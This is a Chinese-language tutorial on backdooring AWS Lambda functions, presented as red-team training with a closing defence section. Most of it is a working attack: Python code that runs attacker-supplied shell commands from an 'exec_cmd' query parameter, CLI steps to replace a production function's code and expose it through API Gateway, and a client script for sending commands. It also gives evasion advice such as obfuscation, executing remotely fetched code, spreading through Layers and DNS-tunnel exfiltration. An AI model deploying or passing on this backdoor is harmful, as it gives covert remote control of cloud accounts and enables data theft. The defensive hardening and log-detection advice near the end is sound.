云函数隐蔽之道:AWS Lambda 与 Azure Functions 后门实战教程
郑重声明:本文所有攻击演示仅限在获得明确授权的测试环境中使用。严禁在任何未经授权的系统上进行测试,否则后果自负。
前言
-
技术背景:在现代云原生架构中,Serverless(无服务器计算),特别是以 AWS Lambda 和 Azure Functions 为代表的函数即服务(FaaS),已成为事件驱动、微服务和快速迭代应用的核心。攻击者也随之将目光投向这片新的攻击面。云函数后门属于**持久化(Persistence)和命令与控制(C2)**的范畴,是攻击者在获得初始访问权限后,为确保长期、隐蔽地控制目标云环境而部署的关键手段。它绕过了传统的基于服务器的后门检测,利用云平台自身的特性实现隐蔽驻留。
-
学习价值:掌握云函数后门的原理与实战方法,能让您:
- 对于攻击方:学会一种在高度动态和托管的云环境中建立长期控制的有效技术,理解如何利用云原生服务进行隐蔽通信。
- 对于防御方:洞悉此类新型攻击的底层机制,从而能够设计和实施更有效的检测、防御和响应策略,保护企业的云上资产。
- 对于开发人员:理解不安全的代码和配置会如何被利用,从而编写出更具安全韧性的 Serverless 应用。
-
使用场景:云函数后门技术在以下场景中具有实际应用价值:
- 红队演练:在授权的攻防演习中,模拟高级持续性威胁(APT)组织对云环境的渗透与持久化控制。
- 安全审计:作为安全工程师,审计现有 Serverless 应用是否存在可被利用来植入后门的漏洞或错误配置。
- 事件响应:在发现云环境失陷后,理解攻击者可能使用的持久化技术,以进行有效的威胁狩猎和清除。
一、云函数后门是什么
精确定义
云函数后门(Serverless Backdoor) 是一种恶意代码或配置,它被植入到合法的云函数(如 AWS Lambda)中,或者作为一个独立的恶意函数部署。其目的是为攻击者提供一个隐蔽的、按需的或由特定事件触发的入口,以便在目标云环境中执行任意命令、窃取数据或进行横向移动,同时绕过传统的基于主机的安全监控。
一个通俗类比
想象一下,一家大型写字楼(云环境)的安保系统非常先进,所有进出大楼的人员(网络流量)都会被严格检查。攻击者不想每次都强行闯入,于是他贿赂了一名清洁工(修改了合法的云函数)。这名清洁工平时正常工作,但当他收到一个特殊的暗号时(一个特定的 HTTP 请求参数或一个特定的文件上传事件),他就会为攻击者打开一扇无人看守的侧门(执行恶意代码)。这个“被策反的清洁工”就是云函数后门,他利用自己的合法身份和权限,在特定的触发条件下为攻击者服务。
实际用途
- 隐蔽的命令执行:攻击者可以通过调用函数,传入加密的命令来执行,而无需维护一个持续的 SSH 或反向 Shell 连接。
- 数据窃取:当特定的数据库记录被修改或新文件上传到 S3 存储桶时,后门函数可以被触发,自动将敏感数据外传到攻击者控制的服务器。
- 权限维持:即使初始入口(如泄露的访问密钥)被发现和吊销,只要后门函数和其触发器仍然存在,攻击者就能重新获得访问权限。
- 横向移动:利用函数被授予的 IAM 角色权限,扫描内部网络、访问其他云服务或创建新的恶意资源。
技术本质说明
云函数后门的本质是滥用事件驱动模型和托管执行环境。传统后门依赖于在操作系统的某个角落持续运行一个进程。而云函数后门则是“休眠”的,它只在被特定**触发器(Trigger)**激活时才执行。这些触发器可以是公开的 API Gateway 终结点、S3 存储桶事件、数据库流、消息队列等。执行环境由云服务商动态提供和销毁,使得基于进程、文件和网络连接的传统检测方法变得困难。其核心在于将恶意逻辑与合法的业务逻辑捆绑在一起,并利用云平台自身的事件机制来唤醒它。
下面这张 Mermaid 图清晰地展示了两种常见的云函数后门工作流程:
这张图揭示了后门的核心机制:条件触发。无论是通过修改现有函数还是部署新函数,后门代码只有在满足预设条件(“暗号”)时才会被激活,否则表现得完全正常,从而实现高度的隐蔽性。
二、环境准备
本教程以 AWS Lambda 为例进行实战演示。
-
工具与版本:
- AWS CLI:
v2.x或更高版本。 - Python:
3.9或更高版本。 - Boto3: AWS SDK for Python,最新版。
- AWS CLI:
-
下载与安装:
- AWS CLI: 遵循 官方文档 进行安装。
- Python & Boto3:
# 安装 Python (如果尚未安装) # sudo apt-get install python3.9 # 安装 Boto3 pip install boto3
-
核心配置命令:
您需要一个拥有创建 Lambda 函数、IAM 角色、API Gateway 权限的 AWS 账户。# 配置 AWS CLI,输入您的 Access Key ID, Secret Access Key, Region, 和 Output Format aws configure安全提示:建议使用具有最小必要权限的 IAM 用户,而不是根账户。
-
可运行环境:
所有操作均可在标准的 Linux/macOS/Windows 终端中完成。无需 Docker,因为我们将直接与 AWS API 交互。确保您的网络可以访问 AWS 服务。
三、核心实战:注入 API Gateway 触发的后门
我们将模拟一个最常见的场景:攻击者获得了修改一个现有 Lambda 函数的权限,并希望植入一个通过 API Gateway 触发的命令执行后门。
步骤 1:创建基础的 Lambda 函数和 IAM 角色
首先,我们创建一个简单的 “Hello World” 函数和一个允许其运行的基础 IAM 角色。
-
创建 IAM 角色信任策略文件
trust-policy.json:
此文件允许 Lambda 服务代入这个角色。{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } -
创建角色并附加基本执行权限:
# 创建角色 aws iam create-role --role-name lambda-basic-role --assume-role-policy-document file://trust-policy.json # 附加AWS托管的基本Lambda执行权限策略 aws iam attach-role-policy --role-name lambda-basic-role --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole记下返回的
Role->Arn,我们稍后会用到。 -
创建正常的 Lambda 函数代码
normal_function.py:import json def lambda_handler(event, context): """ 一个正常的业务函数,返回问候语。 """ print("Executing normal business logic.") return { 'statusCode': 200, 'body': json.dumps('Hello from Lambda!') } -
打包并创建函数:
# 将代码打包成 zip 文件 zip function.zip normal_function.py # 创建 Lambda 函数 (请将 <YOUR_ROLE_ARN> 和 <YOUR_REGION> 替换为实际值) aws lambda create-function \ --function-name my-prod-function \ --runtime python3.9 \ --role <YOUR_ROLE_ARN> \ --handler normal_function.handler \ --zip-file fileb://function.zip \ --region <YOUR_REGION>
步骤 2:植入后门代码
现在,假设攻击者获得了 lambda:UpdateFunctionCode 权限。攻击者将修改代码,植入一个检查特定参数的后门。
-
创建带有后门逻辑的函数代码
backdoor_function.py:import json import subprocess # --- 后门配置 --- # 触发后门的HTTP查询参数名 TRIGGER_PARAM = "exec_cmd" def lambda_handler(event, context): """ 一个被植入了后门的函数。 它会检查特定的查询参数,如果存在,则执行命令;否则,执行正常逻辑。 """ # 检查是否通过 API Gateway 触发,并获取查询参数 if 'queryStringParameters' in event and event['queryStringParameters'] and TRIGGER_PARAM in event['queryStringParameters']: # --- 恶意逻辑开始 --- command = event['queryStringParameters'][TRIGGER_PARAM] print(f"BACKDOOR ACTIVATED. Executing command: {command}") try: # 在 /tmp 目录下执行命令,因为这是Lambda唯一可写的临时文件系统 result = subprocess.run( command, shell=True, capture_output=True, text=True, check=True, cwd='/tmp' ) output = result.stdout + result.stderr return { 'statusCode': 200, 'body': json.dumps({ 'status': 'success', 'output': output }) } except subprocess.CalledProcessError as e: return { 'statusCode': 500, 'body': json.dumps({ 'status': 'error', 'output': e.stdout + e.stderr }) } # --- 恶意逻辑结束 --- else: # --- 正常业务逻辑 --- print("Executing normal business logic.") return { 'statusCode': 200, 'body': json.dumps('Hello from Lambda!') } -
打包并更新函数代码:
# 将后门代码打包 zip backdoor_function.zip backdoor_function.py # 更新现有函数的代码 aws lambda update-function-code \ --function-name my-prod-function \ --zip-file fileb://backdoor_function.zip此时,后门已成功植入。从表面上看,函数的功能没有改变。
步骤 3:创建 API Gateway 触发器并测试
为了能从公网触发函数,我们需要一个 API Gateway。
-
创建 HTTP API:
aws apigatewayv2 create-api --name 'Backdoor API' --protocol-type HTTP --target arn:aws:lambda:<YOUR_REGION>:<YOUR_ACCOUNT_ID>:function:my-prod-function记下返回的
ApiEndpoint。这就是我们的后门入口。 -
为 API Gateway 添加调用 Lambda 的权限:
aws lambda add-permission \ --function-name my-prod-function \ --statement-id apigateway-invoke-permission \ --action "lambda:InvokeFunction" \ --principal apigateway.amazonaws.com \ --source-arn "arn:aws:execute-api:<YOUR_REGION>:<YOUR_ACCOUNT_ID>:<API_ID>/*/*"将
<YOUR_REGION>,<YOUR_ACCOUNT_ID>,<API_ID>替换为您的实际值。 -
测试正常调用:
使用curl或浏览器访问你的 API Endpoint。curl https://<API_ENDPOINT>/预期响应:
"Hello from Lambda!"这表明在没有触发“暗号”时,函数表现完全正常。
-
激活后门,执行命令:
现在,我们使用exec_cmd参数来激活后门。# 执行 'ls -l /' 命令 curl "https://<API_ENDPOINT>/?exec_cmd=ls%20-l%20/"预期响应(输出结果可能因 Lambda 运行环境而异):
{ "status": "success", "output": "total 64\n-r-xr-xr-x 1 root root 12632 Nov 29 16:21 ld-linux-x86-64.so.2\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 bin\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 boot\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 dev\n-rwxr-xr-x 1 root root 1112 Nov 29 16:21 etc\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 home\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 lib\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 lib64\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 media\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 mnt\n-rwxr-xr-x 1 root root 4384 Nov 29 16:21 opt\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 proc\n-r-xr-xr-x 1 root root 69 Nov 29 16:21 root\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 run\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 sbin\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 srv\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 sys\n-rwxrwxrwt 1 root root 268 Nov 29 16:22 tmp\n-rwxr-xr-x 1 root root 0 Nov 29 16:21 usr\n-rwxr-xr-x 1 root root 138 Nov 29 16:21 var\n" }成功!我们通过一个看似正常的 API 调用,在 AWS 的托管环境中执行了任意命令。
自动化脚本
这是一个 Python 脚本,可以自动化地触发后门执行命令。
# backdoor_client.py
import requests
import argparse
import json
import sys
from urllib.parse import urlencode
# --- 警告 ---
# 本脚本仅用于授权的渗透测试和安全研究。
# 未经授权的使用是非法的。
# --- 警告 ---
def execute_command(api_endpoint: str, command: str, trigger_param: str = "exec_cmd"):
"""
通过API Gateway后门执行命令。
:param api_endpoint: API Gateway的完整URL。
:param command: 需要执行的命令。
:param trigger_param: 触发后门的查询参数名。
"""
params = {trigger_param: command}
url = f"{api_endpoint}?{urlencode(params)}"
print(f"[*] Sending command to: {url}")
try:
response = requests.get(url, timeout=30)
response.raise_for_status() # 如果状态码不是2xx,则抛出异常
print("[+] Command sent successfully. Response:")
# 尝试解析JSON响应
try:
data = response.json()
print(json.dumps(data, indent=2))
except json.JSONDecodeError:
print("[!] Response is not valid JSON:")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[!] Error executing command: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="Client to interact with a Serverless backdoor.",
epilog="Example: python backdoor_client.py https://xxxx.execute-api.us-east-1.amazonaws.com/ 'ls -l /tmp'"
)
parser.add_argument("endpoint", help="The API Gateway endpoint URL.")
parser.add_argument("command", help="The command to execute on the remote Lambda.")
parser.add_argument("--param", default="exec_cmd", help="The trigger query parameter name.")
# 参数检查
if len(sys.argv) < 3:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
execute_command(args.endpoint, args.command, args.param)
使用方法:python backdoor_client.py "https://<API_ENDPOINT>/" "whoami"
四、进阶技巧
常见错误
- 硬编码触发器:
exec_cmd这样的参数太明显。容易被代码扫描或日志分析发现。 - 明文通信:命令和返回结果都是明文,容易被网络流量监控捕获。
- 权限过大:赋予函数
AdministratorAccess权限,一旦被攻破,整个 AWS 账户都将沦陷。 - 日志暴露:
print(f"BACKDOOR ACTIVATED...")这样的日志会直接出现在 CloudWatch Logs 中,留下确凿证据。
性能 / 成功率优化
- 加密通信:使用非对称加密(如 RSA)或对称加密(如 AES)。攻击者用公钥加密命令,后门用私钥解密。返回结果用对称密钥加密。密钥可以存储在 AWS Secrets Manager 中,或者通过更隐蔽的方式传递。
- 使用隐蔽触发器:
- 特定 HTTP Header:例如
User-Agent: "SpecialBrowser/1.0"。 - 请求体内容:检查 POST 请求中是否包含特定结构的 JSON。
- 多重条件:需要同时满足多个条件才触发,如特定的源 IP + 特定的 Header + 特定的参数。
- 特定 HTTP Header:例如
- 降低可检测性:
- 移除所有可疑的
print语句。 - 将恶意代码混淆,使其看起来像错误处理或调试代码。
- 使用
eval()或exec()执行从远程位置获取的代码,使静态分析更难发现。
- 移除所有可疑的
实战经验总结
- 环境侦察是关键:在植入后门前,先搞清楚函数已有的权限(IAM Role)。如果权限很小,后门的作用也有限。首要目标是寻找提权的机会。
- 选择合适的函数:选择一个调用频繁但不那么核心的函数进行修改。调用太少可能导致后门长期不被激活,调用太核心则容易在代码审计中被发现。
- 利用层(Layers):将后门代码打包到 Lambda Layer 中,然后附加到多个函数上。这样可以实现一次部署,多处感染,并且主函数代码看起来是干净的。
对抗 / 绕过思路
- 绕过代码签名:AWS Lambda 提供代码签名功能,确保只运行受信任的代码。攻击者如果能窃取到用于签名的密钥,或者找到一个未启用该功能的函数,就可以绕过此限制。
- 利用环境变量:将命令或 C2 地址存储在环境变量中,而不是硬编码在代码里。环境变量的修改比代码更新更隐蔽。
- 时间或逻辑炸弹:后门在特定日期或在某个业务指标(如用户数超过某个阈值)达到后才激活。
- DNS 隧道:将命令编码在 DNS 查询中,通过 DNS 请求将数据外传。这种流量在大多数环境中被认为是合法的,难以检测。
五、注意事项与防御
错误写法 vs 正确写法
| 错误写法 (不安全) | 正确写法 (更安全) |
|---|---|
subprocess.run(event['param'], shell=True)直接将用户输入拼接到命令中,导致命令注入。 |
subprocess.run(['ls', '-l', event['param']], shell=False)将命令和参数分离,避免 shell=True。 |
role: arn:aws:iam::aws:policy/AdministratorAccess赋予函数过高权限。 |
role: my-specific-role遵循最小权限原则,只授予函数完成其任务所需的权限。 |
print("DEBUG: " + user_input)将敏感输入打印到日志,可能泄露信息或暴露后门活动。 |
使用受控的日志级别,避免在生产环境中打印敏感调试信息。 |
在代码中硬编码密钥:API_KEY = "..." |
从 AWS Secrets Manager 或 Parameter Store 中安全地获取密钥。 |
风险提示
- 供应链攻击:您使用的第三方库或 Lambda Layer 可能已被植入后门。
- 配置错误:一个错误的 IAM 策略或公开的 S3 存储桶都可能成为攻击者植入后门的入口。
- 凭证泄露:开发人员的 AWS 访问密钥泄露是导致云环境被入侵的最常见原因之一。
开发侧安全代码范式
- 输入验证:永远不要相信来自用户的输入。对所有输入(HTTP 参数、Header、请求体)进行严格的验证、清理和编码。
- 依赖扫描:使用
npm audit,pip-audit,Snyk等工具定期扫描您的项目依赖,查找已知漏洞。 - 代码审查:实施强制性的代码审查流程,特别是对于涉及权限、认证和数据处理的代码。
- 使用 IaC:使用 Terraform 或 CloudFormation 等基础设施即代码(IaC)工具管理云资源。这使得配置变更可审计、可回滚。
运维侧加固方案
- IAM 最小权限:为每个 Lambda 函数创建专用的 IAM 角色,并只授予其绝对必要的权限。例如,如果一个函数只需要读取一个 S3 存储桶,就只给它
s3:GetObject权限。 - 启用 AWS CloudTrail:CloudTrail 记录了您账户中所有的 API 调用。确保它已在所有区域启用,并将日志发送到安全的、不可篡改的存储桶中。
- 使用 AWS Config:配置 AWS Config 规则来监控不安全的配置变更,例如 IAM 策略过于宽松、Lambda 函数代码被更新等,并设置告警。
- 启用 Lambda 代码签名:强制要求所有部署的 Lambda 代码都必须经过受信任的签名,防止未经授权的代码更新。
- VPC 隔离:将处理敏感数据的 Lambda 函数放置在 VPC 内,并严格控制其出站网络访问,防止数据外传。
日志检测线索
- CloudTrail 日志:
- 监控
UpdateFunctionCode,CreateFunction,UpdateFunctionConfiguration,PutRolePolicy等敏感 API 调用。特别关注来自异常 IP 地址或不常用 IAM 用户的调用。 - 寻找
CreateApi,UpdateApi等 API Gateway 的变更。
- 监控
- CloudWatch Logs:
- 监控 Lambda 函数执行时长的异常飙升。执行外部命令通常比正常业务逻辑耗时更长。
- 查找异常的出站网络连接记录。
- 使用 CloudWatch Logs Insights 查询,搜索可疑的命令执行模式,如
whoami,ls,cat /etc/passwd等。 - 告警:当一个平时不产生网络流量的函数突然开始有出站连接时,立即告警。
- VPC 流日志:
- 如果函数在 VPC 内,监控其流日志,寻找与未知或可疑 IP 地址的通信。
总结
- 核心知识:云函数后门利用事件驱动和托管执行的特性,通过修改合法函数或部署恶意函数,实现隐蔽的持久化控制和命令执行。
- 使用场景:主要用于红队演练中的持久化、安全审计中的风险发现,以及事件响应中的威胁狩猎。
- 防御要点:防御的核心是纵深防御,结合 IAM 最小权限、代码安全、配置监控(CloudTrail, AWS Config)和日志分析(CloudWatch)。
- 知识体系连接:此技术连接了云安全、应用安全和网络攻防中的持久化技术。它是 MITRE ATT&CK® 框架中 TA0003: Persistence 和 TA0011: Command and Control 在 Serverless 场景下的具体体现。
- 进阶方向:深入研究更高级的隐蔽技术,如使用 Lambda 扩展(Extensions)作为后门载体、利用 Step Functions 编排复杂的恶意工作流,或探索其他云服务(如 Google Cloud Functions, Alibaba Function Compute)的后门技术。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?
更多推荐

所有评论(0)